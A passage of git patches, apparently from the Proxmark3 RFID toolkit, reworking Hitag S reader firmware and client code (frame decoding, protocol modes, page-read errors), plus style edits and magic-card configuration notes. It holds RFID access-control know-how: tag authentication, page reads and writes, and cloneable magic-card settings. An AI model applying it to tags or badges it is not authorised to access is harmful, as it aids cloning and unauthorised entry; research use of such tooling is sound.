trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK - | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; - // TC2: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers - AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; - - // Enable and reset counter - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // Assert a sync signal. This sets all timers to 0 on next active clock edge - AT91C_BASE_TCB->TCB_BCR = 1; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV != 0); // wait until TC0 returned to zero - - // reset timestamp - timestamp_high = 0; + hts_init_clock(); if (ledcontrol) LED_D_ON(); @@ -890,21 +859,29 @@ static void hts_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint3 bool bSkip = true; uint32_t errorCount = 0; bool bStarted = false; + uint16_t next_edge_event = AT91C_TC_LDRBS; + int double_speed = (m == AC4K || m == MC8K) ? 2 : 1; - uint32_t ra_i = 0, h2 = 0, h3 = 0, h4 = 0; + uint32_t rb_i = 0, h2 = 0, h3 = 0, h4 = 0; uint8_t edges[160] = {0}; - // Dbprintf("TC0_CV:%i TC1_CV:%i TC1_RA:%i", AT91C_BASE_TC0->TC_CV, AT91C_BASE_TC1->TC_CV ,AT91C_BASE_TC1->TC_RA); + // Dbprintf("TC0_CV:%i TC1_CV:%i TC1_RB:%i TIMESTAMP:%u", AT91C_BASE_TC0->TC_CV, AT91C_BASE_TC1->TC_CV, + // AT91C_BASE_TC1->TC_RB, TIMESTAMP); // Receive tag frame, watch for at most T0*HITAG_T_PROG_MAX periods while (AT91C_BASE_TC0->TC_CV < (T0 * HITAG_T_PROG_MAX)) { - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { + // Check if edge in tag modulation is detected + if (AT91C_BASE_TC1->TC_SR & next_edge_event) { + + next_edge_event = next_edge_event ^ (AT91C_TC_LDRAS | AT91C_TC_LDRBS); + + // only use AT91C_TC_LDRBS falling edge for now + if (next_edge_event == AT91C_TC_LDRBS) continue; // Retrieve the new timing values - uint32_t ra = AT91C_BASE_TC1->TC_RA / T0; - edges[ra_i++] = ra; + uint32_t rb = AT91C_BASE_TC1->TC_RB / T0; + edges[rb_i++] = rb; // Reset timer every frame, we have to capture the last edge for timing AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; @@ -916,7 +893,7 @@ static void hts_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint3 // Capture tag frame (manchester decoding using only falling edges) if (bStarted == false) { - if (ra >= HITAG_T_WAIT_RESP) { + if (rb >= HITAG_T_WAIT_RESP) { bStarted = true; // We always receive a 'one' first, which has the falling edge after a half period |-_| @@ -926,39 +903,69 @@ static void hts_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint3 errorCount++; } - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - - // Manchester coding example |-_|_-|-_| (101) - rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - - rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - h4++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - - // We have to skip this half period at start and add the 'one' the second time - if (bSkip == false) { - rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - } - - lastbit = !lastbit; - bSkip = !bSkip; - h3++; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - // bit is same as last bit - rx[(*rxlen) / 8] |= lastbit << (7 - ((*rxlen) % 8)); - (*rxlen)++; - h2++; } else { - // Ignore weird value, is to small to mean anything - errorCount++; + // Anticollision Coding + if (m == AC2K || m == AC4K) { + if (rb >= HITAG_T_TAG_CAPTURE_FOUR_HALF / double_speed) { + // Anticollision Coding example |--__|--__| (00) + lastbit = 0; + rx[(*rxlen) / 8] |= lastbit << (7 - ((*rxlen) % 8)); + (*rxlen)++; + } else if (rb >= HITAG_T_TAG_CAPTURE_THREE_HALF / double_speed) { + // Anticollision Coding example |-_-_|--__| (10) or |--__|-_-_| (01) + lastbit = !lastbit; + rx[(*rxlen) / 8] |= lastbit << (7 - ((*rxlen) % 8)); + (*rxlen)++; + + bSkip = !!lastbit; + } else if (rb >= HITAG_T_TAG_CAPTURE_TWO_HALF / double_speed) { + // Anticollision Coding example |-_-_| (1) + if (bSkip == false) { + lastbit = 1; + rx[(*rxlen) / 8] |= lastbit << (7 - ((*rxlen) % 8)); + (*rxlen)++; + } + + bSkip = !bSkip; + } else { + // Ignore weird value, is to small to mean anything + errorCount++; + } + } else { + // Manchester coding + if (rb >= HITAG_T_TAG_CAPTURE_FOUR_HALF / double_speed) { + // Manchester coding example |-_|_-|-_| (101) + rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + + rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + h4++; + } else if (rb >= HITAG_T_TAG_CAPTURE_THREE_HALF / double_speed) { + // Manchester coding example |_-|...|_-|-_| (0...01) + rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + + // We have to skip this half period at start and add the 'one' the second time + if (bSkip == false) { + rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + } + + lastbit = !lastbit; + bSkip = !bSkip; + h3++; + } else if (rb >= HITAG_T_TAG_CAPTURE_TWO_HALF / double_speed) { + // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + // bit is same as last bit + rx[(*rxlen) / 8] |= lastbit << (7 - ((*rxlen) % 8)); + (*rxlen)++; + h2++; + } else { + // Ignore weird value, is to small to mean anything + errorCount++; + } + } } } @@ -979,10 +986,10 @@ static void hts_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint3 } DBG Dbprintf("RX0 %i:%02X.. err:%i resptime:%i h2:%i h3:%i h4:%i edges:", *rxlen, rx[0], errorCount, *resptime, h2, h3, h4); - DBG Dbhexdump(ra_i, edges, false); + DBG Dbhexdump(rb_i, edges, false); } -static int hts_send_receive(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) { +static int hts_send_receive(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *rxlen, int t_wait, bool ledcontrol, bool ac_seq) { uint32_t start_time; // Send and store the reader command @@ -1010,73 +1017,41 @@ static int hts_send_receive(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t // Enable and reset external trigger in timer for capturing future frames AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - size_t rxlen = 0; - hts_receive_frame(rx, sizeofrx, &rxlen, &start_time, ledcontrol); - int k = 0; + hts_set_frame_modulation(protocol_mode, ac_seq); + + hts_receive_frame(rx, sizeofrx, rxlen, &start_time, ledcontrol); // Check if frame was captured and store it - if (rxlen > 0) { + if (*rxlen > 0) { + DBG { + uint8_t response_bit[sizeofrx * 8]; - uint8_t response_bit[sizeofrx * 8]; - - for (size_t i = 0; i < rxlen; i++) { - response_bit[i] = (rx[i / 8] >> (7 - (i % 8))) & 1; - } - - DBG Dbprintf("htS: rxlen...... %zu", rxlen); - DBG Dbprintf("htS: sizeofrx... %zu", sizeofrx); - DBG DbpString("htS: response_bit:"); - DBG Dbhexdump(rxlen, response_bit, false); - - memset(rx, 0x00, sizeofrx); - - if (ac_seq) { - - // Tag Response is AC encoded - // We used UID Request Advanced, meaning AC SEQ SOF is 111. - for (int i = 7; i < rxlen; i += 2) { - - rx[k / 8] |= response_bit[i] << (7 - (k % 8)); - - k++; - - if (k > 8 * sizeofrx) { - break; - } + for (size_t i = 0; i < *rxlen; i++) { + response_bit[i] = (rx[i / 8] >> (7 - (i % 8))) & 1; } - // TODO: It's very confusing to reinterpreter the MC to AC; we should implement a more straightforward approach. - // add the lost bit zero, when AC64 last bit is zero - if (k % 8 == 7) { - k++; - } - - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("htS: ac sequence compress"); - Dbhexdump(k / 8, rx, false); - } - - } else { - - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("htS: skipping 6 bit header"); - } - - // ignore first 6 bits: SOF (actually 1 or 6 depending on response protocol) - // or rather a header. - for (size_t i = 6; i < rxlen; i++) { - - rx[k / 8] |= response_bit[i] << (7 - (k % 8)); - k++; - - if (k > 8 * sizeofrx) { - break; - } + Dbprintf("htS: rxlen...... %zu", *rxlen); + Dbprintf("htS: sizeofrx... %zu", sizeofrx); + DbpString("htS: response_bit:"); + Dbhexdump(*rxlen, response_bit, false); + Dbprintf("htS: skipping %d bit SOF", sof_bits); + if ((rx[0] >> (8 - sof_bits)) != ((1 << sof_bits) - 1)) { + DbpString("htS: Warning, not all bits of SOF are 1"); } } - LogTraceBits(rx, k, start_time, TIMESTAMP, false); + + // remove first sof_bits bits SOF + for (size_t i = 0; i < (*rxlen + 8) / 8; i++) { + rx[i] <<= sof_bits; + if (i + 1 < (*rxlen + 8) / 8) { + rx[i] |= (rx[i + 1] >> (8 - sof_bits)); + } + } + + *rxlen -= sof_bits; + + LogTraceBits(rx, *rxlen, start_time, TIMESTAMP, false); } - *prxbits = k; return PM3_SUCCESS; } @@ -1112,7 +1087,9 @@ static int hts_select_tag(const lf_hitag_data_t *packet, uint8_t *tx, size_t siz // UID request FAdvanced 11010 size_t txlen = 0; size_t rxlen = 0; - uint8_t cmd = HITAGS_UID_REQ_ADV1; + + protocol_mode = packet->mode; + uint8_t cmd = protocol_mode; txlen = concatbits(tx, txlen, &cmd, 0, 5); hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, t_wait, ledcontrol, true); @@ -1135,7 +1112,7 @@ static int hts_select_tag(const lf_hitag_data_t *packet, uint8_t *tx, size_t siz hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); - if (rxlen != 40) { + if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) { DBG Dbprintf("Select UID failed! %i", rxlen); return -3; } @@ -1234,7 +1211,7 @@ static int hts_select_tag(const lf_hitag_data_t *packet, uint8_t *tx, size_t siz hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); - if (rxlen != 40) { + if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) { DBG Dbprintf("Authenticate failed! " _RED_("%i"), rxlen); return -8; } @@ -1310,7 +1287,7 @@ void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) { hts_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); - if (rxlen != 40) { + if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) { DBG Dbprintf("Read page failed!"); card.pages_reason[page_index] = -4; // status = PM3_ERFTRANS; @@ -1505,7 +1482,8 @@ int hts_read_uid(uint32_t *uid, bool ledcontrol, bool send_answer) { // UID request standard 00110 // UID request Advanced 1100x // UID request FAdvanced 11010 - uint8_t cmd = HITAGS_UID_REQ_ADV1; + protocol_mode = HITAGS_UID_REQ_ADV1; + uint8_t cmd = protocol_mode; size_t rxlen = 0; uint8_t rx[HITAG_FRAME_LEN] = { 0x00 }; diff --git a/client/src/cmdlfhitaghts.c b/client/src/cmdlfhitaghts.c index e72d7194f..e69187fde 100644 --- a/client/src/cmdlfhitaghts.c +++ b/client/src/cmdlfhitaghts.c @@ -147,6 +147,13 @@ static int process_hitags_common_args(CLIParserContext *ctx, lf_hitag_data_t *co return PM3_EINVARG; } + uint8_t mode = arg_get_int_def(ctx, 5, 3); + + if (mode > 3) { + PrintAndLogEx(WARNING, "Wrong response protocol mode, expected 0, 1, 2 or 3, got %d", mode); + return PM3_EINVARG; + } + // complete options switch (key_len) { case HITAG_PASSWORD_SIZE: @@ -194,6 +201,21 @@ static int process_hitags_common_args(CLIParserContext *ctx, lf_hitag_data_t *co PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag S") " in Crypto mode"); } + switch (mode) { + case 0: + packet->mode = HITAGS_UID_REQ_STD; + break; + case 1: + packet->mode = HITAGS_UID_REQ_ADV1; + break; + case 2: + packet->mode = HITAGS_UID_REQ_ADV2; + break; + default: + packet->mode = HITAGS_UID_REQ_FADV; + break; + } + return PM3_SUCCESS; } @@ -254,8 +276,9 @@ static int CmdLFHitagSRead(const char *Cmd) { arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), arg_lit0(NULL, "crypto", "crypto mode"), arg_str0("k", "key", "", "pwd or key, 4 or 6 hex bytes"), + arg_int0("m", "mode", "", "response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)"), arg_int0("p", "page", "", "page address to read from"), - arg_int0("c", "count", "", "how many pages to read. '0' reads all pages up to the end page (default: 1)"), + arg_int0("c", "count", "", "how many pages to read. '0' reads all pages up to the end page (def: 1)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -264,14 +287,14 @@ static int CmdLFHitagSRead(const char *Cmd) { if (process_hitags_common_args(ctx, &packet) < 0) return PM3_EINVARG; - uint32_t page = arg_get_int_def(ctx, 5, 0); + uint32_t page = arg_get_int_def(ctx, 6, 0); if (page > 255) { PrintAndLogEx(WARNING, "Page address Invalid."); return PM3_EINVARG; } - uint32_t count = arg_get_int_def(ctx, 6, 1); + uint32_t count = arg_get_int_def(ctx, 7, 1); if (count > HITAGS_MAX_PAGES) { PrintAndLogEx(WARNING, "No more than 64 pages can be read at once."); @@ -438,6 +461,7 @@ static int CmdLFHitagSWrite(const char *Cmd) { arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), arg_lit0(NULL, "crypto", "crypto mode"), arg_str0("k", "key", "", "pwd or key, 4 or 6 hex bytes"), + arg_int0("m", "mode", "", "response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)"), arg_int1("p", "page", "", "page address to write to"), arg_str1("d", "data", "", "data, 4 hex bytes"), arg_param_end @@ -448,12 +472,12 @@ static int CmdLFHitagSWrite(const char *Cmd) { if (process_hitags_common_args(ctx, &packet) < 0) return PM3_EINVARG; - int page = arg_get_int_def(ctx, 5, 0); + int page = arg_get_int_def(ctx, 6, 0); uint8_t data[HITAGS_PAGE_SIZE]; int data_len = 0; - int res = CLIParamHexToBuf(arg_get_str(ctx, 6), data, HITAGS_PAGE_SIZE, &data_len); + int res = CLIParamHexToBuf(arg_get_str(ctx, 7), data, HITAGS_PAGE_SIZE, &data_len); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; @@ -538,7 +562,7 @@ static int CmdLFHitagSSim(const char *Cmd) { CLIParserFree(ctx); clearCommandBuffer(); - SendCommandNG(CMD_LF_HITAGS_SIMULATE, NULL, 0); + SendCommandMIX(CMD_LF_HITAGS_SIMULATE, false, 0, 0, NULL, 0); return PM3_SUCCESS; } diff --git a/include/hitag.h b/include/hitag.h index 334ab773d..451952ce4 100644 --- a/include/hitag.h +++ b/include/hitag.h @@ -65,30 +65,6 @@ typedef enum { HT2_LAST_CMD = HT2F_UID_ONLY, } PACKED hitag_function; -typedef struct { - hitag_function cmd; - uint8_t page; - uint8_t page_count; - uint8_t data[HITAGS_PAGE_SIZE]; - uint8_t NrAr[HITAG_NRAR_SIZE]; - // unaligned access to key as uint64_t will abort. - // todo: Why does the compiler without -munaligned-access generate unaligned-access code in the first place? - uint8_t key[HITAG_CRYPTOKEY_SIZE] __attribute__((aligned(4))); - uint8_t pwd[HITAG_PASSWORD_SIZE]; - - // Hitag 1 section. - // will reuse pwd or key field. - uint8_t key_no; - uint8_t logdata_0[4]; - uint8_t logdata_1[4]; - uint8_t nonce[4]; -} PACKED lf_hitag_data_t; - -typedef struct { - int status; - uint8_t data[256]; -} PACKED lf_hitag_crack_response_t; - //--------------------------------------------------------- // Hitag S //--------------------------------------------------------- @@ -111,15 +87,6 @@ typedef enum TAG_STATE { HT_WRITING_BLOCK_DATA } TSATE; -//number of start-of-frame bits -typedef enum SOF_TYPE { - HT_STANDARD = 0, - HT_ADVANCED, - HT_FAST_ADVANCED, - HT_ONE, - HT_NO_BITS -} stype; - typedef struct { // con0 uint8_t MEMT : 2; @@ -156,7 +123,6 @@ struct hitagS_tag { TSATE tstate; // tag-state int max_page; - stype mode; union { uint8_t pages[64][4]; @@ -177,6 +143,33 @@ struct hitagS_tag { } PACKED; +typedef struct { + hitag_function cmd; + uint8_t page; + uint8_t page_count; + uint8_t data[HITAGS_PAGE_SIZE]; + uint8_t NrAr[HITAG_NRAR_SIZE]; + // unaligned access to key as uint64_t will abort. + // todo: Why does the compiler without -munaligned-access generate unaligned-access code in the first place? + uint8_t key[HITAG_CRYPTOKEY_SIZE] __attribute__((aligned(4))); + uint8_t pwd[HITAG_PASSWORD_SIZE]; + + // Hitag 1 section. + // will reuse pwd or key field. + uint8_t key_no; + uint8_t logdata_0[4]; + uint8_t logdata_1[4]; + uint8_t nonce[4]; + + //Hitag s section + uint8_t mode; +} PACKED lf_hitag_data_t; + +typedef struct { + int status; + uint8_t data[256]; +} PACKED lf_hitag_crack_response_t; + typedef struct { union { uint8_t asBytes[HITAGS_PAGE_SIZE]; From 046488664b4c00320450201267939668b910ec73 Mon Sep 17 00:00:00 2001 From: douniwan5788 Date: Wed, 23 Oct 2024 21:46:34 +0800 Subject: [PATCH 018/155] fix: Hitag S Read page failed --- armsrc/hitagS.c | 18 +++++++++--------- client/src/cmdlfhitaghts.c | 9 +++++++-- 2 files changed, 16 insertions(+), 11 deletions(-) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index edee23a4d..c95b06ca8 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -1295,6 +1295,12 @@ void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) { while ((BUTTON_PRESS() == false) && (data_available() == false)) { + if (payload->page_count == 0) { + if (page_addr > tag.max_page) break; + } else if (page_addr > 255 || page_addr >= payload->page + payload->page_count) { + break; + } + WDT_HIT(); size_t rxlen = 0; @@ -1312,7 +1318,7 @@ void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) { if (rxlen != 40) { DBG Dbprintf("Read page failed!"); - card.pages_reason[page_index] = -4; + card.pages_reason[page_index] = -11; // status = PM3_ERFTRANS; // goto read_end; page_addr++; @@ -1362,18 +1368,12 @@ void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) { //if the authentication is done with a challenge the key and password are unknown DBG Dbprintf("Page[ 2]: __ __ __ __"); DBG Dbprintf("Page[ 3]: __ __ __ __"); - card.pages_reason[page_index++] = -4; - card.pages_reason[page_index++] = -4; + card.pages_reason[page_index++] = -11; + card.pages_reason[page_index++] = -11; } // since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page page_addr = 4; } - - if (payload->page_count == 0) { - if (page_addr > tag.max_page) break; - } else if (page_addr > 255 || page_addr >= payload->page + payload->page_count) { - break; - } } read_end: diff --git a/client/src/cmdlfhitaghts.c b/client/src/cmdlfhitaghts.c index e72d7194f..c16562b37 100644 --- a/client/src/cmdlfhitaghts.c +++ b/client/src/cmdlfhitaghts.c @@ -226,6 +226,9 @@ static void print_error(int8_t reason) { case -10: PrintAndLogEx(FAILED, "Write to page failed!"); break; + case -11: + PrintAndLogEx(FAILED, "Read page failed!"); + break; default: // PM3_REASON_UNKNOWN PrintAndLogEx(DEBUG, "DEBUG: Error - Hitag S failed"); @@ -404,8 +407,10 @@ static int CmdLFHitagSRead(const char *Cmd) { PrintAndLogEx(NORMAL, "Key"); } else PrintAndLogEx(NORMAL, "Data"); - } else - PrintAndLogEx(INFO, "%02u | -- -- -- -- | read failed reason: " _YELLOW_("%d"), page_addr, card->pages_reason[i]); + } else { + PrintAndLogEx(INFO, "% 3u | -- -- -- -- | .... | N/A | " NOLF, page_addr); + print_error(card->pages_reason[i]); + } } PrintAndLogEx(INFO, "----+-------------+-------+------+------"); From f049b568c5e52a0efcbf57ac161fda5b7c02a204 Mon Sep 17 00:00:00 2001 From: douniwan5788 Date: Wed, 23 Oct 2024 21:48:23 +0800 Subject: [PATCH 019/155] style --- armsrc/hitagS.c | 10 +++++----- client/src/cmdlf.c | 2 +- client/src/cmdlfhitaghts.c | 1 - common/commonutil.c | 1 + 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index edee23a4d..0fda851b2 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -178,7 +178,7 @@ static void hitag_send_bit(int bit, bool ledcontrol) { while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; + while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; } else { // AC coding -_-_ @@ -310,7 +310,7 @@ static void hitag_reader_send_bit(int bit, bool ledcontrol) { if (ledcontrol) LED_A_ON(); // Reset clock for the next bit AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV != 0); + while (AT91C_BASE_TC0->TC_CV != 0) {}; // Binary puls length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero @@ -355,7 +355,8 @@ static void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len, bool } // send EOF AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV != 0); + while (AT91C_BASE_TC0->TC_CV != 0) {}; + HIGH(GPIO_SSC_DOUT); // Wait for 4-10 times the carrier period @@ -371,7 +372,6 @@ static void hts_stop_clock(void) { } static void hts_init_clock(void) { - // Enable Peripheral Clock for // Timer Counter 0, used to measure exact timing before answering // Timer Counter 1, used to capture edges of the tag frames @@ -407,7 +407,7 @@ static void hts_init_clock(void) { // synchronized startup procedure // In theory, with MCK/32, we shouldn't be waiting longer than 32 instruction statements, right? - while (AT91C_BASE_TC0->TC_CV != 0) {}; // wait until TC0 returned to zero + while (AT91C_BASE_TC0->TC_CV != 0) {}; // wait until TC0 returned to zero // reset timestamp timestamp_high = 0; diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index a5fd678c2..af931d9d6 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -1588,7 +1588,7 @@ static bool check_chiptype(bool getDeviceData) { // Hitag S if (read_hts_uid() == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("Hitag S / 82xx")); + PrintAndLogEx(SUCCESS, "Chipset detection: " _GREEN_("Hitag 1/S / 82xx")); PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf hitag hts`") " commands"); retval = true; goto out; diff --git a/client/src/cmdlfhitaghts.c b/client/src/cmdlfhitaghts.c index e72d7194f..243af4a1a 100644 --- a/client/src/cmdlfhitaghts.c +++ b/client/src/cmdlfhitaghts.c @@ -602,4 +602,3 @@ int CmdLFHitagS(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } - diff --git a/common/commonutil.c b/common/commonutil.c index 4c203a332..495097aee 100644 --- a/common/commonutil.c +++ b/common/commonutil.c @@ -544,6 +544,7 @@ void reverse_arraybytes_copy(uint8_t *arr, uint8_t *dest, size_t len) { } } +// TODO: consider overlap, Implement _membitmovebb size_t concatbits(uint8_t *dst, size_t dstskip, const uint8_t *src, size_t srcstart, size_t srclen) { // erase dstbuf bits that will be overriden dst[dstskip / 8] &= 0xFF - ((1 << (7 - (dstskip % 8) + 1)) - 1); From 15cf4f60e9fe0221439c04c2f42a6e9f1c36ce7b Mon Sep 17 00:00:00 2001 From: libin-ka <46210417+libin-ka@users.noreply.github.com> Date: Fri, 25 Oct 2024 22:10:09 +0800 Subject: [PATCH 020/155] Update magic_cards_notes.md style Signed-off-by: libin-ka <46210417+libin-ka@users.noreply.github.com> --- doc/magic_cards_notes.md | 130 +++++++++++++++++++-------------------- 1 file changed, 65 insertions(+), 65 deletions(-) diff --git a/doc/magic_cards_notes.md b/doc/magic_cards_notes.md index df7452259..d76f3f5c9 100644 --- a/doc/magic_cards_notes.md +++ b/doc/magic_cards_notes.md @@ -1089,19 +1089,19 @@ hf mf info ``` [usb] pm3 --> hf mf gdmcfg --gdm [+] Config... 7A FF 85 00 00 00 00 00 00 FF 00 00 00 00 00 08 -[+] 7A FF .......................................... Magic wakeup enabled with GDM config block access -[+] 85 ....................................... Magic wakeup style GDM 20(7)/23 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] 00 ..................... Unknown -[+] FF .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 00 ............. Magic auth disabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 7A FF ......................................... Magic wakeup enabled with GDM config block access +[+] 85 ...................................... Magic wakeup style GDM 20(7)/23 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] 00 .................... Unknown +[+] FF ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 00 ........... Magic auth disabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ -1181,19 +1181,19 @@ Before the sealing could be detected from the config block value. ``` [usb] pm3 --> hf mf gdmcfg --gen1a [+] Config... 7A FF 00 00 00 00 00 00 BA FA 00 00 00 00 00 08 -[+] 7A FF .......................................... Magic wakeup enabled with GDM config block access -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] BA ..................... Unknown -[+] FA .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 00 ............. Magic auth disabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 7A FF ......................................... Magic wakeup enabled with GDM config block access +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] BA .................... Unknown +[+] FA ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 00 ........... Magic auth disabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ -1271,19 +1271,19 @@ Could be detected from the config block value. ``` [usb] pm3 --> hf mf gdmcfg --gen1a [+] Config... 7A FF 00 00 00 00 00 00 00 00 00 00 00 00 00 08 -[+] 7A FF .......................................... Magic wakeup enabled with GDM config block access -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] 00 ..................... Unknown -[+] 00 .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 00 ............. Magic auth disabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 7A FF ......................................... Magic wakeup enabled with GDM config block access +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] 00 .................... Unknown +[+] 00 ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 00 ........... Magic auth disabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ -1351,19 +1351,19 @@ Could be manually validated with the configuration block value. ``` [usb] pm3 --> hf mf gdmcfg [+] Config... 85 00 00 00 00 00 00 00 00 00 5A 5A 00 00 00 08 -[+] 85 00 .......................................... Magic wakeup disabled -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] 00 ..................... Unknown -[+] 00 .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 5A ............... Shadow mode enabled -[+] 